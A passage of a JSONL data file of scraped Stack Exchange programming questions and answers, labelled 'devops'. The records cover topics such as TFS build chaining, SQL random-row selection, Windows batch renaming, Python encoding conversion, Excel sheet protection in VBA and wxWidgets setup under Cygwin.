text.\nThe result get save as javascript file and normal included into the html.\n```\n```\n<script scr=\"var/scripts/en_GB-76909c49e9222ec2bb2f45e0a3c8baef80deb665.js\"></script>\n```\n```\nThe filename contains Locale and a hash value for caching.\nDate and money values get always converted from system format to Locale format on output and visa versa for input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.378278"}
{"id": "hf_8ac19a70d07c", "question": "<p>How would you manually trigger additional team builds from a team build? For example, when we were in CC.Net other builds would trigger if certain builds were successful. The second  build could either be projects that use this component or additional, long running test libraries for the same component. </p>\n", "question_body": "", "answer": "One way you could do it is you could an an AfterEndToEndIteration target to your TFSBuild.proj file that would runs the TfsBuild.exe command line to start you other builds.  I'm thinking something like this (though I haven't tested it)\n```\n```\n<Target Name=\"AfterEndToEndIteration\">\n\n    <GetBuildProperties TeamFoundationServerUrl=\"$(TeamFoundationServerUrl)\"\n                        BuildUri=\"$(BuildUri)\"\n                        Condition=\" '$(IsDesktopBuild)' != 'true' \">\n      <Output TaskParameter=\"Status\" PropertyName=\"Status\" />\n    </GetBuildProperties>\n\n    <Exec Condition=\" '$(Status)'=='Succeeded' \"\n          Command=\"TfsBuild.exe start /server:$(TeamFoundationServerUrl) /buildDefinition:&quot;Your Build Definition To Run&quot;\" />\n\n  </Target>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.401175"}
{"id": "hf_1d4df411c83b", "question": "<p>I want to force the current execution line to a specific line in the same function, possibly skipping intermediate lines. All my old school debuggers had this feature, but I can't find it in eclipse. Is there a way to do it without changing code?</p>\n", "question_body": "", "answer": "\"Run to line\" appears to need the program to be running and in a paused state to use.  The other option is to set a breakpoint for that line when running in debug-mode.\nDouble-click far-left vertical bar in the source pane on the same line to add a breakpoint; or,\nSelect the line and go to Run > Toggle Breakpoint.\nAt least, this is in Eclipse 3.3.2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.424570"}
{"id": "hf_a7fb2e55210b", "question": "<p>If you launch Emacs using the <code>-nw</code> flag to force a console session (rather than an X session if you have X windows running), how do you get to the menu?</p>\n<p>There are some items held in the menus that are infrequently-enough used on my part that I don't recall the escape or control sequence to do them.</p>\n", "question_body": "", "answer": "```\n```\nM-x menu-bar-mode\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.448262"}
{"id": "hf_a216b64507c9", "question": "<p>I am working through a book which gives examples of Ranges being converted to equivalent arrays using their \"to_a\" methods</p>\n\n<p>When i run the code in irb I get the following warning</p>\n\n<pre><code> warning: default `to_a' will be obsolete\n</code></pre>\n\n<p>What is the the correct alternative to using to_a?</p>\n\n<p>are there alternate ways to populate an array with a Range?</p>\n", "question_body": "", "answer": "This works for me in irb:\n```\n```\nirb> (1..4).to_a\n=> [1, 2, 3, 4]\n```\n```\nI notice that:\n```\n```\nirb> 1..4.to_a\n(irb):1: warning: default `to_a' will be obsolete\nArgumentError: bad value for range\n        from (irb):1\n```\n```\nSo perhaps you are missing the parentheses?\n(I am running Ruby 1.8.6 patchlevel 114)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.472077"}
{"id": "hf_e0da07ad70b3", "question": "<p>I have a <code>DataGridView</code> bound to a <code>DataView</code>. The grid can be sorted by the user on any column.</p>\n\n<p>I add a row to the grid by calling NewRow on the <code>DataView</code>'s underlying <code>DataTable</code>, then adding it to the <code>DataTable</code>'s Rows collection. How can I select the newly-added row in the grid?</p>\n\n<p>I tried doing it by creating a <code>BindingManagerBase</code> object bound to the <code>BindingContext</code> of the <code>DataView</code>, then setting <code>BindingManagerBase.Position = BindingManagerBase.Count</code>. This works if the grid is not sorted, since the new row gets added to the bottom of the grid. However, if the sort order is such that the row is not added to the bottom, this does not work.</p>\n\n<p>How can I reliably set the selected row of the grid to the new row?</p>\n", "question_body": "", "answer": "Assuming you have some sort of unique identifier in your data source you could iterate over your collection of rows and compare, as such:\n```\n```\nDim myRecentItemID As Integer = 3\n\nFor Each row As GridViewRow In gvIndividuals.Rows\n    Dim drv As DataRowView = DirectCast(row.DataItem, DataRowView)\n    If CInt(drv(\"ItemID\")) = myRecentItemID Then\n        gvIndividuals.EditIndex = row.RowIndex\n    End If\nNext\n```\n```\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.507877"}
{"id": "hf_6dbdcd1f251d", "question": "<p>Is there a succinct way to retrieve a random record from a sql server table?  </p>\n\n<p>I would like to randomize my unit test data, so am looking for a simple way to select a random id from a table.  In English, the select would be \"Select one id from the table where the id is a random number between the lowest id in the table and the highest id in the table.\"  </p>\n\n<p>I can't figure out a way to do it without have to run the query, test for a null value, then re-run if null.</p>\n\n<p>Ideas?</p>\n", "question_body": "", "answer": "Is there a succinct way to retrieve a random record from a sql server table?\nYes\n```\n```\nSELECT TOP 1 * FROM table ORDER BY NEWID()\n```\n```\nExplanation\nA\n```\nNEWID()\n```\nis generated for each row and the table is then sorted by it. The first record is returned (i.e. the record with the \"lowest\" GUID).\nNotes\nGUIDs are generated as pseudo-random numbers since version four:\nThe version 4 UUID is meant for generating UUIDs from truly-random or\n  pseudo-random numbers.\nThe algorithm is as follows:\nSet the two most significant bits (bits 6 and 7) of the\n  clock_seq_hi_and_reserved to zero and one, respectively.\nSet the four most significant bits (bits 12 through 15) of the\n  time_hi_and_version field to the 4-bit version number from\n  Section 4.1.3.\nSet all the other bits to randomly (or pseudo-randomly) chosen\n  values.\n—\nA Universally Unique IDentifier (UUID) URN Namespace - RFC 4122\nThe alternative\n```\nSELECT TOP 1 * FROM table ORDER BY RAND()\n```\nwill not work as one would think.\n```\nRAND()\n```\nreturns one single value per query, thus all rows will share the same value.\nWhile GUID values are pseudo-random, you will need a better PRNG for the more demanding applications.\nTypical performance is less than 10 seconds for around 1,000,000 rows — of course depending on the system. Note that it's impossible to hit an index, thus performance will be relatively limited.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.531529"}
{"id": "hf_b4e7604aad77", "question": "<p>I am trying to rename all the files present in a Windows directory using <strong>FOR</strong> command as follows at the command prompt:</p>\n\n<pre><code>for %1 in (*.*) do ren %1 test%1 \n</code></pre>\n\n<p>E.g. This renames a file <strong>enc1.ctl</strong> to <strong>testenc1.ctl</strong> <strong>enc2.ctl</strong>  to <strong>testenc2.ctl</strong> </p>\n\n<p>Thats not what i want. What i want is \n<strong>enc1.ctl</strong> renamed to <strong>test1.ctl</strong>   <strong>enc2.ctl</strong> renamed to <strong>test2.ctl</strong> </p>\n\n<p>How do i do that?</p>\n\n<hr>\n\n<p>@Akelunuk: \nThanks, that w kind of works but i have files names as </p>\n\n<p><strong>h263_enc_random_pixels_1.ctl , h263_enc_random_pixels_2.ctl</strong> which i want to rename to</p>\n\n<p><strong>test1.ctl and test2.ctl</strong> respectively </p>\n\n<p>Then how?</p>\n", "question_body": "", "answer": "If you know the number of files, (say 10), you can use\n```\n```\nfor /L %1 in (1,1,10) do ren enc%1.ctl test%1.ctl\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.556067"}
{"id": "hf_105a2cec348c", "question": "<p>I need to convert a bunch of files to utf-8 in Python, and I have trouble with the \"converting the file\" part.</p>\n\n<p>I'd like to do the equivalent of:</p>\n\n<pre><code>iconv -t utf-8 $file &gt; converted/$file # this is shell code\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can use the\ncodecs module\n, like this:\n```\n```\nimport codecs\nBLOCKSIZE = 1048576 # or some other, desired size in bytes\nwith codecs.open(sourceFileName, \"r\", \"your-source-encoding\") as sourceFile:\n    with codecs.open(targetFileName, \"w\", \"utf-8\") as targetFile:\n        while True:\n            contents = sourceFile.read(BLOCKSIZE)\n            if not contents:\n                break\n            targetFile.write(contents)\n```\n```\nEDIT\n: added\n```\nBLOCKSIZE\n```\nparameter to control file chunk size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.591795"}
{"id": "hf_4268d5a0a8d8", "question": "<p>Trying to debug an issue with a server and my only log file is a 20GB log file (with no timestamps even! Why do people use <code>System.out.println()</code> as logging? In production?!)</p>\n\n<p>Using grep, I've found an area of the file that I'd like to take a look at, line 347340107.</p>\n\n<p>Other than doing something like</p>\n\n<pre><code>head -&lt;$LINENUM + 10&gt; filename | tail -20 \n</code></pre>\n\n<p>... which would require <code>head</code> to read through the first 347 million lines of the log file, is there a quick and easy command that would dump lines 347340100 - 347340200 (for example) to the console?</p>\n\n<p><strong>update</strong> I totally forgot that grep can print the context around a match ... this works well. Thanks!</p>\n", "question_body": "", "answer": "with GNU-grep you could just say\n```\ngrep --context=10 ...\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.615673"}
{"id": "hf_a121f0e2f5b5", "question": "<p>I can reset FPU's CTRL registers with this:</p>\n\n<p><a href=\"http://support.microsoft.com/kb/326219\" rel=\"nofollow noreferrer\">http://support.microsoft.com/kb/326219</a></p>\n\n<p>But how can I save current registers, and restore them later?</p>\n\n<p>It's from .net code..</p>\n\n<p>What I'm doing, is from Delphi calling an .net dll as an COM module. Checking the <kbd>Ctrl</kbd> registers in delphi yield one value, checking with controlfp in the .net code gives another value. \nWhat I need, is in essential is to do this:</p>\n\n<pre><code>_controlfp(_CW_DEFAULT, 0xfffff); \n</code></pre>\n\n<p>So my floatingpoint calculations in the .net code does not crash, but I want to restore the <kbd>Ctrl</kbd> registers when returning.</p>\n\n<p>Maybe I don't? Maybe Delphi is resetting them when needed?\nI blogged about this problem <a href=\"http://blog.neslekkim.net/2008/10/fpu-issues-when-interoping-delphi-and.html\" rel=\"nofollow noreferrer\">here</a>.</p>\n", "question_body": "", "answer": "Same function you use to change them:\n```\n_controlfp()\n```\n. If you pass in a mask of 0, the current value won't be altered, but it\nwill\nbe returned - save it, and use a second call to\n```\n_controlfp()\n```\nto restore it later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.639387"}
{"id": "hf_aa0986674d4e", "question": "<p>Our situation is as follows, but I'm curious about this problem in any situation.</p>\n\n<p>We have a framework consisting of 4 projects:</p>\n\n<ul>\n<li>beans</li>\n<li>util</li>\n<li>framework</li>\n<li>web</li>\n</ul>\n\n<p>We also have modules that need a version and depend on a version of beans and util.</p>\n\n<p>Finally we have a customer project that consists of a specific version of the core projects and one or more modules.</p>\n\n<p>Is there a standard way to version these projects?</p>\n\n<p>What seems simple to me is becoming really complicated as we try to deliver releases to QA and then manage our ongoing development with the maintenance of the release (release = tag and possible branch).</p>\n\n<p>I kind of prefer the following:</p>\n\n<p>1.2.0 - major and minor versions + release.</p>\n\n<p>1.2.1 - next release</p>\n\n<p>1.2.0_01 - bug fix in 1.2.0 release (branch)</p>\n\n<p>etc.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "There are no standard version number systems. Common themes are to have a major, minor and build number, and occasionally a point number as well (1.2.2.1 for example, for version 1.2 point release 2 build 1). The meaning of the version numbers is highly flexible. A frequent choice is to have backwards compatibility between minor versions or point releases though.\nReleases are probably best done by labeling a set of source controlled files as long as your source control allows this. Recreating a release is then as simple as syncing to the label and building, which is very useful :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.690867"}
{"id": "hf_c851879e310b", "question": "<p>I'm about to inherit a rather large Java enterprise project that has a large amount of third party dependencies. There is at least seventy JARs included and some of them would seem to be unused e.g. spring.jar which I know isn't used.</p>\n\n<p>It seems that over the years as various developers have touched upon the code base they have all tried out new project-of-the-month type libraries.</p>\n\n<p><strong>How does one go about getting rid of these?</strong> Within reason of course, as clearly some dependencies are helpful to not have to re-invent the wheel. </p>\n\n<p>I'm obviously interested in java based projects but I'm welcome to answers across languages that people think will be helpful.</p>\n", "question_body": "", "answer": "Personally, I think you have to start by assessing the scale of the problem.  It's going to be fairly painful, but I'd make a list of the dependencies and work out exactly which parts of the project use which ones.\nThen I'd work out exactly what features of each you're actually making use of (in many cases, you'll end up having a massive third party library which you're using a tiny part of).\nOnce you have this information, you'll at least know what you're dealing with.\nMy next step would be to look at all of the dependencies that you only use to a small extent.  Checking around might uncover things that you could use from other libraries that would eliminate the lesser used libraries.\nI'd also have a look around to see if there's anything small that you could just re-write and include in your own code-base.\nFinally, I'd have a look around at the vendors of your dependencies and their competitors to see if the latest versions contain more functionality that will allow you to eliminate a few others.\nThen you're just left wondering whether it's better to be highly dependent on a few vendors, or less dependent on a lot of vendors!!  ;o)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.713509"}
{"id": "hf_b9e80c48e9a7", "question": "<p>How do I change the Read-only file attribute for each file in a folder using c#?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "```\n```\nforeach (string fileName in System.IO.Directory.GetFiles(path))\n{\n    System.IO.FileInfo fileInfo = new System.IO.FileInfo(fileName);\n\n    fileInfo.Attributes |= System.IO.FileAttributes.ReadOnly;\n    // or\n    fileInfo.IsReadOnly = true;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.741648"}
{"id": "hf_fd120e91366a", "question": "<p>I have around 25 worksheets in my workbook (Excel spreadsheet).\nIs there a way I can protect all the 25 worksheets in single click ? or this feature is not available and I will have to write a VBA code to accomplish this. I need very often to protect all sheets and unprotect all sheets and doing individually is time consuming</p>\n", "question_body": "", "answer": "I don't believe there's a way to do it without using VBA.  If you are interested in a VBA solution, here is the code:\n```\n```\nDim ws as Worksheet\nDim pwd as String\n\npwd = \"\" ' Put your password here\nFor Each ws In Worksheets\n    ws.Protect Password:=pwd\nNext ws\n```\n```\nUnprotecting is virtually the same:\n```\n```\nDim ws as Worksheet\nDim pwd as String\n\npwd = \"\" ' Put your password here\nFor Each ws In Worksheets\n    ws.Unprotect Password:=pwd\nNext ws\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.764141"}
{"id": "hf_2707df58d595", "question": "<p>I have been asking myself this question for a long time now. Thought of posting it. C# doesn't support Multiple Inheritance(this is the fact). All classes created in C# derive out of 'Object' class(again a fact).</p>\n\n<p>So if C# does not support Multiple inheritance, then how are we able to extend a class even though it already extends Object class?</p>\n\n<p>Illustating with an example: </p>\n\n<ol>\n<li>class A : object - Class A created.</li>\n<li>class B : object - Class B created.</li>\n<li>class A : B - this again is supported. What happens to the earlier association to object.</li>\n</ol>\n\n<p>We are able to use object class methods in A after step 3. So is the turned to multi level inheritance. If that is the case, then</p>\n\n<ol>\n<li>class A : B</li>\n<li>class C : B</li>\n<li>class A : C - I must be able to access class B's methods in A. Which is not the case?</li>\n</ol>\n\n<p>Can anyone please explain?</p>\n", "question_body": "", "answer": "You're confusing mutliple inheritance with an inheritance tree.  You can inherit from something other than Object.  It's just that Object is sitting way up there at the top of your tree.  And someone can inherit your class, but because Object is still up there at the top that class will also inherit from object.  Your \"Multi-level\" inheritance is not multiple inheritance.\nMultiple inheritance is when you inherit from two different trees, and .Net actually does support this after a fashion via interfaces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.791449"}
{"id": "hf_bc090ff07caf", "question": "<p>Is it possible to change the language of system messages from PostgreSQL?</p>\n\n<p>In MSSQL for instance this is possible with the SQL statement <a href=\"http://msdn.microsoft.com/en-us/library/ms174398.aspx\" rel=\"noreferrer\">SET LANGUAGE</a>.</p>\n", "question_body": "", "answer": "```\n```\nSET lc_messages TO 'en_US.UTF-8';\n```\n```\nMore info on requirements and limitations\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.850274"}
{"id": "hf_f84d353e0388", "question": "<p>I'm trying to build a similar 'slider' as demoed here <a href=\"http://ui.jquery.com/repository/real-world/product-slider/\" rel=\"nofollow noreferrer\">http://ui.jquery.com/repository/real-world/product-slider/</a> but I'm trying to use interior divs inside of the list items (<code>&lt;li&gt;</code>).  it seems as if this demo breaks if you're not using an image or block element (<code>&lt;p&gt;</code>,<code>&lt;div&gt;</code>,etc.)</p>\n\n<p>Anyone have any quick solutions to this?  I basically want to use text and possibly images inside of a <code>&lt;div&gt;</code> instead of using images.</p>\n\n<p>I did find jCarousel which seems as if it works, but I was looking for something a little more lightweight?  Any ideas?</p>\n", "question_body": "", "answer": "I think I\nsort of\nhave a working example of what you're trying to do, but there are a couple issues.\nUsing the example you posted as a base, you can replace the HTML markup of the LI's in a UL to be DIV's in a container DIV. For example:\n```\n```\n<div class=\"sliderGallery\">\n          <div class=\"div-that-gets-cropped\">\n            <div class=\"text-and-images-chunk\">Some text!<br /><img class=\"pb-airportexpress\" src=\"slider-gallery_files/pb_airport_express.jpg\" /></div>\n            <div class=\"text-and-images-chunk\">Some text!<br /><img src=\"slider-gallery_files/pb_airport_extreme.jpg\" /></div>\n            <div class=\"text-and-images-chunk\">Some text!<br /><img src=\"slider-gallery_files/pb_timecapsule_20080115.jpg\" /></div>\n            ...\n          </div>\n```\n```\nThen you modify the jQuery code in the page to target that container DIV instead of the UL:\n```\n```\nwindow.onload = function () {\n        var container = $('div.sliderGallery');\n        var divThatGetsCropped = $('div.div-that-gets-cropped', container);\n        var itemsWidth = divThatGetsCropped.innerWidth() - container.outerWidth();\n        $('.slider', container).slider({\n            minValue: 0,\n            maxValue: itemsWidth,\n            handle: '.handle',\n            stop: function (event, ui) {\n                divThatGetsCropped.animate({'left' : ui.value * -1}, 500);\n            },\n            slide: function (event, ui) {\n                divThatGetsCropped.css('left', ui.value * -1);\n            }\n        });\n    };\n```\n```\nThen you have some non-trivial CSS changes to make...  The original example relied on the LI's being styled to display: inline, inside of a container with overflow hidden. It's going to be a headache to try to get everything to show up correctly if you just style these \"text-and-images-chunk\" DIV's to be displayed inline. You probably want to float them all.\nBUT\n, floated elements won't play very nicely with the container \"div-that-gets-cropped\" DIV because of the way it's being \"revealed\" by the \"sliderGallery\" DIV (at least that's what I'm experiencing in Firefox 3.03). I got around this by setting a really big width for the \"div-that-gets-cropped\" DIV (10000 px):\n```\n```\n.sliderGallery div.div-that-gets-cropped {\n          position: absolute;\n          list-style: none;\n          overflow: none;\n      white-space: nowrap;\n      padding: 0;\n          margin: 0;\n          width: 10000px;\n        }\n\n        .sliderGallery div.div-that-gets-cropped div.text-and-images-chunk {\n      float: left;\n      margin-right: 24px;\n        }\n```\n```\nAnd you'll have to tweak the \"left\" values for .slider-lbl1, .slider-lbl2 to match up whatever the widths end up being (this might be tricky if the size of your text ends up changing the width of the \"text-and-images-chunk\" elements).\nThe one issue I noticed is that when you have the images in a block-level element, there isn't a good way to get them to \"hug\" the bottom, as they do in the example using inline. You might be able to get this working by playing around with the positioning of the elements (I couldn't), but hopefully this won't be a big deal in your specific usage.\nAll of that said, jCarousel seems like it's\nintended for exactly what you're doing\n, even if it does add a little code bulk.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.924900"}
{"id": "hf_5e5238f6c35f", "question": "<p>I want to display the results of a searchquery in a website with a title and a short description. The short description should be a small part of the page which holds the searchterm. What i want to do is:\n1 strip tags in page\n2 find first position of seachterm\n3 from that position, going back find the beginning (if there is one) of that sentence.\n4 Start at the found position in step 3 and display ie 200 characters from there</p>\n\n<p>I need some help with step 3. I think i need an regex that finds the first capital or dot...</p>\n", "question_body": "", "answer": "The way I would do it is, I would parse the page...\nSkip over all the things starting with '<'\nWhen you encounter a \".\" or [A-Z], start putting it into a buffer till you find another \".\"\nIf the buffered string has the search keyword, thats your string! Else. start buffering at the \".\" you encountered and repeat.\nEDIT: As James Curran pointed out, this strategy would fail in some cases... So heres the solution:\nWhat you can do, is to start X number of characters from start of page (after tags)\nand then search for your keyword, buffering 2 previous words. When you find it, \ndo something like this:\n{X} ... {prev-2}  {next-2}\nExample:\nThis planet has - or rather had - a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movement of small green pieces of paper, which was odd because on the whole it wasn't the small green pieces of paper that were unhappy.\nSearch Keyword: \"suggested\"\nResult:\nThis planet has - or rather had - a problem ... Many solutions were\nsuggested\nfor this problem...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.960319"}
{"id": "hf_39d150c35037", "question": "<p>I often need to design a dialog in Delphi/C++Builder that allows various properties of an object to be modified, and the code to use it typically looks like this.</p>\n\n<pre><code>Dialog.Edit1.Text := MyObject.Username;\nDialog.Edit2.Text := MyObject.Password;\n// ... many more of the same\n\nif (Dialog.ShowModal = mrOk) \nbegin\n  MyObject.Username := Dialog.Edit1.Text;\n  MyObject.Password := Dialog.Edit2.Text;\n  // ... again, many more of the same\nend;\n</code></pre>\n\n<p>I also often need similar code for marshalling objects to/from xml/ini-files/whatever.</p>\n\n<p>Are there any common idioms or techniques for avoiding this kind of simple but repetitive code?</p>\n", "question_body": "", "answer": "Delphi at least have 'With', though it doesn't solve the problem completely.\n```\n```\nif (Dialog.ShowModal = mrOk) \nbegin\n  with MyObject do\n  begin\n    Username := Dialog.Edit1.Text;\n    Password := Dialog.Edit2.Text;\n    // ... again, many more of the same\n  end;\nend;\n```\n```\nAnd builder AFAIK has nothing alike.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.984314"}
{"id": "hf_6718e55f3b72", "question": "<p>I found this:</p>\n\n<p><a href=\"http://www.evolt.org/failover-database-connection-with-php-mysql\" rel=\"nofollow noreferrer\">http://www.evolt.org/failover-database-connection-with-php-mysql</a></p>\n\n<p>and similar examples. But is there a better way?</p>\n\n<p>I am thinking along the lines of the <a href=\"http://www.microsoft.com/technet/prodtechnol/sql/bestpractice/implappfailover.mspx#EMD\" rel=\"nofollow noreferrer\">Automatic Failover Client</a> in the MS SQL Native Client.</p>\n", "question_body": "", "answer": "No, it does not have that build in. I think an easy way is to employ\nMySQL Proxy\n. Otherwise, but the\nlogic\n(\n```\nif (fails) { connect to another }\n```\n) in your application, but that's not so pretty and great in terms of performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.030482"}
{"id": "hf_6bc578292965", "question": "<p>We have a custom collection of objects that we bind to a listbox control. When an item is added to the list the item appears in the listbox, however when one selects the item the currency manager position will not go to the position. Instead the currency manager position stays at the existing position. The listbox item is high lighted as long as the mouse is press however the cm never changes position.</p>\n\n<p>If I copy one of the collection objects the listbox operates properly.</p>\n\n<p>One additional note the collection also has collections within it, not sure if this would be an issue.</p>\n", "question_body": "", "answer": "Collections don't have a sense of \"current item\". Perhaps your custom collection does, but the\n```\nListBox\n```\nis not using that. It has its own \"current item\" index into the collection. You need to handle\n```\nSelectedIndexChanged\n```\nevents to keep them in sync.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.089760"}
{"id": "hf_ccf510e0a348", "question": "<p>I wish to search a database table on a nullable column.  Sometimes the value I'm search for is itself NULL.  Since Null is equal to nothing, even NULL, saying</p>\n\n<pre><code>where MYCOLUMN=SEARCHVALUE \n</code></pre>\n\n<p>will fail.  Right now I have to resort to</p>\n\n<pre><code>where ((MYCOLUMN=SEARCHVALUE) OR (MYCOLUMN is NULL and SEARCHVALUE is NULL))\n</code></pre>\n\n<p>Is there a simpler way of saying that?</p>\n\n<p>(I'm using Oracle if that matters)</p>\n", "question_body": "", "answer": "Try\n```\n```\nWHERE NVL(mycolumn,'NULL') = NVL(searchvalue,'NULL')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.173542"}
{"id": "hf_38ee4e5644ca", "question": "<p>I'm architecting a new app at the moment, with a high read:write ratio. At my current employer we have lots of denormalised data on our tables for performance reasons. Is it better practice to have totally 3NF tables and then use indexed views to do all the denormalisation? Should I run queries against the tables or views?</p>\n\n<p>An example of some of the things I am interested are aggregates of columns child tables (e.g. having user post count stored somewhere).</p>\n", "question_body": "", "answer": "From your description, if you're looking for a pattern that matches better than Factory, try Strategy:\nStrategy Pattern\nYour\ncontext\ncould be a custom class which encapsulates and abstracts the different report inputs (you could use the AbstractFactory pattern for this part)\nYour\nstrategy\ncould implement any number of different query filters or additional logic needed.  And if you ever need to change the system in the future, you can switch between report tools by simply creating a new strategy.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.209029"}
{"id": "hf_918c7eef3f6e", "question": "<p>I installed wxWidgets 2.8.9 on a Windows XP SP2 box and built the library according to the directions and now I'm trying to get the <a href=\"http://www.wxwidgets.org/docs/tutorials/hello.htm\" rel=\"nofollow noreferrer\">Hello World! tutorial</a> app to build from within Eclipse and I'm just missing something apparently.  Any idea how to get Cygwin, Eclipse and wxWidgets to play nice together? </p>\n", "question_body": "", "answer": "This\nanswer\nwas posted by Lars Uffmann to the comp.soft-sys.wxwindows newsgroup.  In a nutshell:\nAdd c:/cygwin/usr/local/bin to the path in the Eclipse project configuration\nAdd ``wx-config --cxxflags`‘ to the GCC C++ Compiler command\nMove the ${FLAGS} variable to the\nend of the GCC C++ Linker Command\nLine Pattern\nAdd ``wx-config --libs`‘ to the GCC\nC++ Linker flags.\nThank goodness for Mr. Uffmann sharing this information; this problem has been giving me headaches for days.\nEDIT: Note that there is a literal backtick at each end of the wx-config strings.  The method of escaping the backtick doesn't seem to work correctly. Refer to the linked answer for more details on exact syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 